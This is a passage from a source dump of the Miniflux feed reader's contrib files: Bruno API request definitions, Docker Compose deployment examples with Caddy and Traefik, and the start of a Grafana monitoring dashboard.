    "content": "meta {\n  name: Get category feeds\n  type: http\n  seq: 14\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/categories/{{categoryID}}/feeds\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"Test Update\"\n  }\n}\n\nvars:pre-request {\n  categoryID: 2\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get current user.bru",
    "content": "meta {\n  name: Get current user\n  type: http\n  seq: 1\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/me\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get feed counters.bru",
    "content": "meta {\n  name: Get feed counters\n  type: http\n  seq: 21\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/feeds/counters\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get feed entries.bru",
    "content": "meta {\n  name: Get feed entries\n  type: http\n  seq: 32\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/feeds/{{feedID}}/entries\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n\nvars:pre-request {\n  feedID: 19\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get feed icon by feed ID.bru",
    "content": "meta {\n  name: Get feed icon by feed ID\n  type: http\n  seq: 27\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/feeds/{{feedID}}/icon\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"user_agent\": \"My user agent\"\n  }\n}\n\nvars:pre-request {\n  feedID: 19\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get feed icon by icon ID.bru",
    "content": "meta {\n  name: Get feed icon by icon ID\n  type: http\n  seq: 28\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/icons/{{iconID}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"user_agent\": \"My user agent\"\n  }\n}\n\nvars:pre-request {\n  iconID: 11\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get version and build information.bru",
    "content": "meta {\n  name: Get version and build information\n  type: http\n  seq: 42\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/version\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Mark all category entries as read.bru",
    "content": "meta {\n  name: Mark all category entries as read\n  type: http\n  seq: 13\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/categories/{{categoryID}}/mark-all-as-read\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"Test Update\"\n  }\n}\n\nvars:pre-request {\n  categoryID: 2\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Mark all user entries as read.bru",
    "content": "meta {\n  name: Mark all user entries as read\n  type: http\n  seq: 8\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/users/{{userID}}/mark-all-as-read\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"Test Update\"\n  }\n}\n\nvars:pre-request {\n  userID: 1\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Mark feed as read.bru",
    "content": "meta {\n  name: Mark feed as read\n  type: http\n  seq: 29\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/feeds/{{feedID}}/mark-all-as-read\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"user_agent\": \"My user agent\"\n  }\n}\n\nvars:pre-request {\n  feedID: 19\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/OPML Export.bru",
    "content": "meta {\n  name: OPML Export\n  type: http\n  seq: 30\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/export\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"user_agent\": \"My user agent\"\n  }\n}\n\nvars:pre-request {\n  feedID: 19\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/OPML Import.bru",
    "content": "meta {\n  name: OPML Import\n  type: http\n  seq: 31\n}\n\npost {\n  url: {{minifluxBaseURL}}/v1/import\n  body: xml\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"user_agent\": \"My user agent\"\n  }\n}\n\nbody:xml {\n  <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n  <opml version=\"2.0\">\n      <head>\n          <title>Miniflux</title>\n      </head>\n      <body>\n          <outline text=\"My category\">\n              <outline title=\"Miniflux\" text=\"Miniflux\" xmlUrl=\"https://miniflux.app/feed.xml\" htmlUrl=\"https://miniflux.app\"></outline>\n          </outline>\n      </body>\n  </opml>\n}\n\nvars:pre-request {\n  feedID: 19\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Refresh a single feed.bru",
    "content": "meta {\n  name: Refresh a single feed\n  type: http\n  seq: 23\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/feeds/{{feedID}}/refresh\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n\nvars:pre-request {\n  feedID: 18\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Refresh all feeds.bru",
    "content": "meta {\n  name: Refresh all feeds\n  type: http\n  seq: 22\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/feeds/refresh\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Refresh category feeds.bru",
    "content": "meta {\n  name: Refresh category feeds\n  type: http\n  seq: 15\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/categories/{{categoryID}}/refresh\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"Test Update\"\n  }\n}\n\nvars:pre-request {\n  categoryID: 2\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Save an entry.bru",
    "content": "meta {\n  name: Save an entry\n  type: http\n  seq: 38\n}\n\npost {\n  url: {{minifluxBaseURL}}/v1/entries/{{entryID}}/save\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n\nvars:pre-request {\n  entryID: 1698\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Update a category.bru",
    "content": "meta {\n  name: Update a category\n  type: http\n  seq: 11\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/categories/{{categoryID}}\n  body: json\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"Test Update\"\n  }\n}\n\nvars:pre-request {\n  categoryID: 1\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Update a feed.bru",
    "content": "meta {\n  name: Update a feed\n  type: http\n  seq: 25\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/feeds/{{feedID}}\n  body: json\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"user_agent\": \"My user agent\"\n  }\n}\n\nvars:pre-request {\n  feedID: 18\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Update a user.bru",
    "content": "meta {\n  name: Update a user\n  type: http\n  seq: 6\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/users/{{userID}}\n  body: json\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"language\": \"fr_FR\"\n  }\n}\n\nvars:pre-request {\n  userID: 1\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Update entries status.bru",
    "content": "meta {\n  name: Update entries status\n  type: http\n  seq: 35\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/entries\n  body: json\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"entry_ids\": [1698, 1699],\n    \"status\": \"read\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Update entry.bru",
    "content": "meta {\n  name: Update entry\n  type: http\n  seq: 41\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/entries/{{entryID}}\n  body: json\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"New title\",\n    \"content\": \"Some text\"\n  }\n}\n\nvars:pre-request {\n  entryID: 1789\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/bruno.json",
    "content": "{\n  \"version\": \"1\",\n  \"name\": \"Miniflux\",\n  \"type\": \"collection\"\n}"
  },
  {
    "path": "contrib/bruno/miniflux/environments/Local.bru",
    "content": "vars {\n  minifluxBaseURL: http://127.0.0.1:8080\n  minifluxUsername: admin\n}\nvars:secret [\n  minifluxPassword\n]\n"
  },
  {
    "path": "contrib/docker-compose/Caddyfile",
    "content": "miniflux.example.org\nreverse_proxy miniflux:8080\n"
  },
  {
    "path": "contrib/docker-compose/README.md",
    "content": "Docker-Compose Examples\n=======================\n\nHere are few Docker Compose examples:\n\n- `basic.yml`: Basic example\n- `caddy.yml`: Use Caddy as reverse-proxy with automatic HTTPS\n- `traefik.yml`: Use Traefik as reverse-proxy with automatic HTTPS\n\n```bash\ndocker compose -f basic.yml up -d\n```\n"
  },
  {
    "path": "contrib/docker-compose/basic.yml",
    "content": "services:\n  miniflux:\n    image: ${MINIFLUX_IMAGE:-miniflux/miniflux:latest}\n    container_name: miniflux\n    restart: always\n    ports:\n      - \"80:8080\"\n    depends_on:\n      db:\n        condition: service_healthy\n    environment:\n      - DATABASE_URL=postgres://miniflux:secret@db/miniflux?sslmode=disable\n      - RUN_MIGRATIONS=1\n      - CREATE_ADMIN=1\n      - ADMIN_USERNAME=admin\n      - ADMIN_PASSWORD=test123\n      - DEBUG=1\n    # Optional health check:\n    # healthcheck:\n    #  test: [\"CMD\", \"/usr/bin/miniflux\", \"-healthcheck\", \"auto\"]\n  db:\n    image: postgres:latest\n    container_name: postgres\n    environment:\n      - POSTGRES_USER=miniflux\n      - POSTGRES_PASSWORD=secret\n      - POSTGRES_DB=miniflux\n    volumes:\n      - miniflux-db:/var/lib/postgresql\n    healthcheck:\n      test: [\"CMD\", \"pg_isready\", \"-U\", \"miniflux\"]\n      interval: 10s\n      start_period: 30s\nvolumes:\n  miniflux-db:\n"
  },
  {
    "path": "contrib/docker-compose/caddy.yml",
    "content": "services:\n  caddy:\n    image: caddy:2\n    container_name: caddy\n    depends_on:\n      - miniflux\n    ports:\n      - \"80:80\"\n      - \"443:443\"\n    volumes:\n      - $PWD/Caddyfile:/etc/caddy/Caddyfile\n      - caddy_data:/data\n      - caddy_config:/config\n  miniflux:\n    image: ${MINIFLUX_IMAGE:-miniflux/miniflux:latest}\n    container_name: miniflux\n    depends_on:\n      db:\n        condition: service_healthy\n    environment:\n      - DATABASE_URL=postgres://miniflux:secret@db/miniflux?sslmode=disable\n      - RUN_MIGRATIONS=1\n      - CREATE_ADMIN=1\n      - ADMIN_USERNAME=admin\n      - ADMIN_PASSWORD=test123\n      - BASE_URL=https://miniflux.example.org\n  db:\n    image: postgres:latest\n    container_name: postgres\n    environment:\n      - POSTGRES_USER=miniflux\n      - POSTGRES_PASSWORD=secret\n    volumes:\n      - miniflux-db:/var/lib/postgresql\n    healthcheck:\n      test: [\"CMD\", \"pg_isready\", \"-U\", \"miniflux\"]\n      interval: 10s\n      start_period: 30s\nvolumes:\n  miniflux-db:\n  caddy_data:\n  caddy_config:\n"
  },
  {
    "path": "contrib/docker-compose/traefik.yml",
    "content": "services:\n  traefik:\n    image: \"traefik:v2.3\"\n    container_name: traefik\n    command:\n      - \"--providers.docker=true\"\n      - \"--providers.docker.exposedbydefault=false\"\n      - \"--entrypoints.websecure.address=:443\"\n      - \"--certificatesresolvers.myresolver.acme.tlschallenge=true\"\n      - \"--certificatesresolvers.myresolver.acme.email=postmaster@example.com\"\n      - \"--certificatesresolvers.myresolver.acme.storage=/letsencrypt/acme.json\"\n    depends_on:\n      - miniflux\n    ports:\n      - \"443:443\"\n    volumes:\n      - \"./letsencrypt:/letsencrypt\"\n      - \"/var/run/docker.sock:/var/run/docker.sock:ro\"\n  miniflux:\n    image: ${MINIFLUX_IMAGE:-miniflux/miniflux:latest}\n    container_name: miniflux\n    depends_on:\n      db:\n        condition: service_healthy\n    expose:\n      - \"8080\"\n    environment:\n      - DATABASE_URL=postgres://miniflux:secret@db/miniflux?sslmode=disable\n      - RUN_MIGRATIONS=1\n      - CREATE_ADMIN=1\n      - ADMIN_USERNAME=admin\n      - ADMIN_PASSWORD=test123\n      - BASE_URL=https://miniflux.example.org\n    labels:\n      - \"traefik.enable=true\"\n      - \"traefik.http.routers.miniflux.rule=Host(`miniflux.example.org`)\"\n      - \"traefik.http.routers.miniflux.entrypoints=websecure\"\n      - \"traefik.http.routers.miniflux.tls.certresolver=myresolver\"\n  db:\n    image: postgres:latest\n    container_name: postgres\n    environment:\n      - POSTGRES_USER=miniflux\n      - POSTGRES_PASSWORD=secret\n    volumes:\n      - miniflux-db:/var/lib/postgresql\n    healthcheck:\n      test: [\"CMD\", \"pg_isready\", \"-U\", \"miniflux\"]\n      interval: 10s\n      start_period: 30s\nvolumes:\n  miniflux-db:\n"
  },
  {
    "path": "contrib/grafana/README.md",
    "content": "Grafana Dashboard for Miniflux\n"
  },
  {
    "path": "contrib/grafana/dashboard.json",
    "content": "{\n  \"__inputs\": [\n    {\n      \"name\": \"DS_PROMETHEUS\",\n      \"label\": \"prometheus\",\n      \"description\": \"\",\n      \"type\": \"datasource\",\n      \"pluginId\": \"prometheus\",\n      \"pluginName\": \"Prometheus\"\n    }\n  ],\n  \"__elements\": {},\n  \"__requires\": [\n    {\n      \"type\": \"panel\",\n      \"id\": \"bargauge\",\n      \"name\": \"Bar gauge\",\n      \"version\": \"\"\n    },\n    {\n      \"type\": \"grafana\",\n      \"id\": \"grafana\",\n      \"name\": \"Grafana\",\n      \"version\": \"10.4.3\"\n    },\n    {\n      \"type\": \"datasource\",\n      \"id\": \"prometheus\",\n      \"name\": \"Prometheus\",\n      \"version\": \"1.0.0\"\n    },\n    {\n      \"type\": \"panel\",\n      \"id\": \"stat\",\n      \"name\": \"Stat\",\n      \"version\": \"\"\n    },\n    {\n      \"type\": \"panel\",\n      \"id\": \"timeseries\",\n      \"name\": \"Time series\",\n      \"version\": \"\"\n    }\n  ],\n  \"annotations\": {\n    \"list\": [\n      {\n        \"builtIn\": 1,\n        \"datasource\": {\n          \"type\": \"datasource\",\n          \"uid\": \"grafana\"\n        },\n        \"enable\": true,\n        \"hide\": true,\n        \"iconColor\": \"rgba(0, 211, 255, 1)\",\n        \"name\": \"Annotations & Alerts\",\n        \"type\": \"dashboard\"\n      }\n    ]\n  },\n  \"editable\": true,\n  \"fiscalYearStartMonth\": 0,\n  \"graphTooltip\": 0,\n  \"id\": null,\n  \"links\": [],\n  \"panels\": [\n    {\n      \"collapsed\": false,\n      \"datasource\": {\n        \"uid\": \"Prometheus\"\n      },\n      \"gridPos\": {\n        \"h\": 1,\n        \"w\": 24,\n        \"x\": 0,\n        \"y\": 0\n      },\n      \"id\": 24,\n      \"panels\": [],\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"uid\": \"Prometheus\"\n          },\n          \"refId\": \"A\"\n        }\n      ],\n      \"title\": \"Application\",\n      \"type\": \"row\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\",\n                \"value\": null\n              }\n            ]\n          }\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 7,\n        \"w\": 8,\n        \"x\": 0,\n        \"y\": 1\n      },\n      \"id\": 18,\n      \"options\": {\n        \"displayMode\": \"basic\",\n        \"maxVizHeight\": 300,\n        \"minVizHeight\": 16,\n        \"minVizWidth\": 8,\n        \"namePlacement\": \"auto\",\n        \"orientation\": \"horizontal\",\n        \"reduceOptions\": {\n          \"calcs\": [\n            \"last\"\n          ],\n          \"fields\": \"\",\n          \"values\": false\n        },\n        \"showUnfilled\": true,\n        \"sizing\": \"auto\",\n        \"valueMode\": \"color\"\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"max(miniflux_feeds{status=\\\"total\\\"})\",\n          \"hide\": false,\n          \"interval\": \"\",\n          \"legendFormat\": \"Total\",\n          \"refId\": \"D\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"max(miniflux_feeds{status=\\\"enabled\\\"})\",\n          \"hide\": false,\n          \"interval\": \"\",\n          \"legendFormat\": \"Enabled\",\n          \"refId\": \"C\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"max(miniflux_broken_feeds)\",\n          \"interval\": \"\",\n          \"legendFormat\": \"Broken\",\n          \"refId\": \"A\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"max(miniflux_feeds{status=\\\"disabled\\\"})\",\n          \"interval\": \"\",\n          \"legendFormat\": \"Disabled\",\n          \"refId\": \"B\"\n        }\n      ],\n      \"title\": \"Feeds\",\n      \"type\": \"bargauge\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\",\n                \"value\": null\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          }\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 3,\n        \"w\": 4,\n        \"x\": 8,\n        \"y\": 1\n      },\n      \"id\": 2,\n      \"options\": {\n        \"colorMode\": \"value\",\n        \"graphMode\": \"none\",\n        \"justifyMode\": \"auto\",\n        \"orientation\": \"horizontal\",\n        \"reduceOptions\": {\n          \"calcs\": [\n            \"last\"\n          ],\n          \"fields\": \"\",\n          \"values\": false\n        },\n        \"showPercentChange\": false,\n        \"textMode\": \"auto\",\n        \"wideLayout\": true\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"max(miniflux_users)\",\n          \"interval\": \"\",\n          \"legendFormat\": \"Users\",\n          \"refId\": \"A\"\n        }\n      ],\n      \"title\": \"Users\",\n      \"type\": \"stat\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 50,\n            \"gradientMode\": \"opacity\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 1,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": false,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\",\n                \"value\": null\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"short\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 7,\n        \"w\": 12,\n        \"x\": 12,\n        \"y\": 1\n      },\n      \"id\": 4,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [\n            \"lastNotNull\"\n          ],\n          \"displayMode\": \"table\",\n          \"placement\": \"right\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"max(miniflux_entries{status=\\\"total\\\"})\",\n          \"hide\": false,\n          \"interval\": \"\",\n          \"legendFormat\": \"Total\",\n          \"refId\": \"A\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"max(miniflux_entries{status=\\\"unread\\\"})\",\n          \"hide\": false,\n          \"interval\": \"\",\n          \"legendFormat\": \"Unread\",\n          \"refId\": \"B\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"max(miniflux_entries{status=\\\"read\\\"})\",\n          \"interval\": \"\",\n          \"legendFormat\": \"Read\",\n          \"refId\": \"C\"\n        },\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"max(miniflux_entries{status=\\\"removed\\\"})\",\n          \"interval\": \"\",\n          \"legendFormat\": \"Removed\",\n          \"refId\": \"D\"\n        }\n      ],\n      \"title\": \"Entries by Status\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"description\": \"\",\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\",\n                \"value\": null\n              }\n            ]\n          },\n          \"unit\": \"decbytes\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 4,\n        \"w\": 4,\n        \"x\": 8,\n        \"y\": 4\n      },\n      \"id\": 36,\n      \"options\": {\n        \"colorMode\": \"value\",\n        \"graphMode\": \"none\",\n        \"justifyMode\": \"center\",\n        \"orientation\": \"vertical\",\n        \"reduceOptions\": {\n          \"calcs\": [\n            \"last\"\n          ],\n          \"fields\": \"\",\n          \"values\": false\n        },\n        \"showPercentChange\": false,\n        \"textMode\": \"value\",\n        \"wideLayout\": true\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"go_memstats_sys_bytes{job=\\\"miniflux\\\"}\",\n          \"interval\": \"\",\n          \"legendFormat\": \"{{ instance }} - Memory Used\",\n          \"refId\": \"A\"\n        }\n      ],\n      \"type\": \"stat\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 1,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": false,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\",\n                \"value\": null\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"s\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 8,\n        \"w\": 12,\n        \"x\": 0,\n        \"y\": 8\n      },\n      \"id\": 22,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [],\n          \"displayMode\": \"list\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"histogram_quantile(0.95, sum(rate(miniflux_scraper_request_duration_bucket[5m])) by (le))\",\n          \"interval\": \"\",\n          \"legendFormat\": \"Request Duration\",\n          \"refId\": \"A\"\n        }\n      ],\n      \"title\": \"Scraper Request Duration\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"datasource\": {\n        \"type\": \"prometheus\",\n        \"uid\": \"${DS_PROMETHEUS}\"\n      },\n      \"fieldConfig\": {\n        \"defaults\": {\n          \"color\": {\n            \"mode\": \"palette-classic\"\n          },\n          \"custom\": {\n            \"axisBorderShow\": false,\n            \"axisCenteredZero\": false,\n            \"axisColorMode\": \"text\",\n            \"axisLabel\": \"\",\n            \"axisPlacement\": \"auto\",\n            \"barAlignment\": 0,\n            \"drawStyle\": \"line\",\n            \"fillOpacity\": 10,\n            \"gradientMode\": \"none\",\n            \"hideFrom\": {\n              \"legend\": false,\n              \"tooltip\": false,\n              \"viz\": false\n            },\n            \"insertNulls\": false,\n            \"lineInterpolation\": \"linear\",\n            \"lineWidth\": 1,\n            \"pointSize\": 5,\n            \"scaleDistribution\": {\n              \"type\": \"linear\"\n            },\n            \"showPoints\": \"never\",\n            \"spanNulls\": false,\n            \"stacking\": {\n              \"group\": \"A\",\n              \"mode\": \"none\"\n            },\n            \"thresholdsStyle\": {\n              \"mode\": \"off\"\n            }\n          },\n          \"mappings\": [],\n          \"thresholds\": {\n            \"mode\": \"absolute\",\n            \"steps\": [\n              {\n                \"color\": \"green\",\n                \"value\": null\n              },\n              {\n                \"color\": \"red\",\n                \"value\": 80\n              }\n            ]\n          },\n          \"unit\": \"s\"\n        },\n        \"overrides\": []\n      },\n      \"gridPos\": {\n        \"h\": 8,\n        \"w\": 12,\n        \"x\": 12,\n        \"y\": 8\n      },\n      \"id\": 20,\n      \"options\": {\n        \"legend\": {\n          \"calcs\": [],\n          \"displayMode\": \"list\",\n          \"placement\": \"bottom\",\n          \"showLegend\": true\n        },\n        \"tooltip\": {\n          \"mode\": \"multi\",\n          \"sort\": \"none\"\n        }\n      },\n      \"pluginVersion\": \"10.4.3\",\n      \"targets\": [\n        {\n          \"datasource\": {\n            \"type\": \"prometheus\",\n            \"uid\": \"${DS_PROMETHEUS}\"\n          },\n          \"expr\": \"histogram_quantile(0.95, sum(rate(miniflux_background_feed_refresh_duration_bucket[5m])) by (le))\",\n          \"interval\": \"\",\n          \"legendFormat\": \"Refresh Duration\",\n          \"refId\": \"A\"\n        }\n      ],\n      \"title\": \"Background Feed Refresh Duration\",\n      \"type\": \"timeseries\"\n    },\n    {\n      \"collapsed\": false,\n      